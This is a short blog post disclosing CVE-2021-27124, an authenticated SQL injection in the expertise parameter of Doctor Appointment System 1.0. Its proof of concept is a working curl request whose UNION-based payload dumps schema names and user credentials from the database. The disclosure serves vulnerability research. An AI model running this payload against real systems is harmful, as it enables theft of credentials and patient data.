Nakul Ratti Follow

Feb 9, 2021 · 1 min read · Listen

Save

Doctor Appointment System 1.0-Authenticated SQL Injection (DIOS)

Vulnerability Details:

Title: Doctor Appointment System 1.0-Authenticated SQL Injection (DIOS)

Vulnerable File:
http://host/patient/search_result.php

CVE ID: CVE-2021–27124

Product: Doctor Appointment System

Version: 1.0

Problem Type: Expertise parameter has no input validation

Description: Authenticated SQL injection in search_result.php in Doctor Appointment system via expertise parameter

Proof of Concept:
1] Login as a normal patient user
2] Insert cookie after successful login in the below command:

Sample Curl Request:

```
curl -i -s -o tmp -k -X $’POST’ \
-H $’Host: 192.168.1.12' -H $’Content-Type: application/x-www-form-urlencoded’ -H $’Content-Length: 288' -H $’Connection: close’ -H $’Cookie:
PHPSESSID=b85jccq5ns65d75g69j2uj37hf’ -H $’Upgrade-Insecure-Requests: 1' \
-b $’PHPSESSID=b85jccq5ns65d75g69j2uj37hf’ \
— data-binary $’expertise=Bone\’+union+select+concat(\’Username-\’,username),2,3,(select+(%40a)+from+(select(%40a%3a%3d0x00),(select+(%40a)+from+
(information_schema.schemata)where+(%40a)in+(%40a%3a%3dconcat(%40a,schema_name,\’<br>\’))))a),concat(\’Password\’,\’-
\’,password),6,7,8,9,10,11,12+from+users%23&submit=’ \
$’http://host/patient/search_result.php'
```

3] Check the **tmp** file for sensitive information from the database.

Authors: Nakul Ratti | Soham Bakore

Cve Pentesting

12